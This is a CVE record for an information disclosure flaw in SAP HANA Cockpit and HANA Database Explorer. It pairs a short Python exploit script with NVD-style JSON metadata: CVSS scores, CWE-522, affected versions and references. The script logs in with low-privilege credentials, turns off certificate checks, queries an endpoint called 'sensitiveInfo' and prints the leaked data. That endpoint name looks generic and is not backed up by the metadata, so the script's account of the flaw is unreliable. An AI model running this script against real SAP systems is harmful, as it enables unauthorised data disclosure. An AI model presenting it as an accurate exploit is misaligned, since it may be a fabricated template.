CVE-2026-34262

import requests # Target configuration target_host = "https://<hana-host>:44300" vulnerable_endpoint = "/sap/hana/xs/cockpit/api/v1/sensitiveInfo" # Attacker credentials with low privileges auth = ('low_priv_user', 'password') try: # Send malicious request to exploit information disclosure response = requests.get(target_host + vulnerable_endpoint, auth=auth, verify=False) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Leaked Information:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] Error occurred:", str(e))

{"cve": {"id": "CVE-2026-34262", "sourceIdentifier": "[email protected]", "published": "2026-04-14T01:16:04.050", "lastModified": "2026-05-04T14:32:46.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information Disclosure Vulnerability in SAP HANA Cockpit and HANA Database Explorer"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sap:hana_cockpit:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.18.2", "matchCriteriaId": "A355BE8C-94D9-4003-879D-8BB514D694F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:hana_database_explorer:-:*:*:*:*:*:*:*", "matchCriteriaId": "283834FE-FC6E-4AB5-ADE9-866FD7E8FBD7"}]}]}], "references": [{"url": "https://me.sap.com/notes/3730639", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/16", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}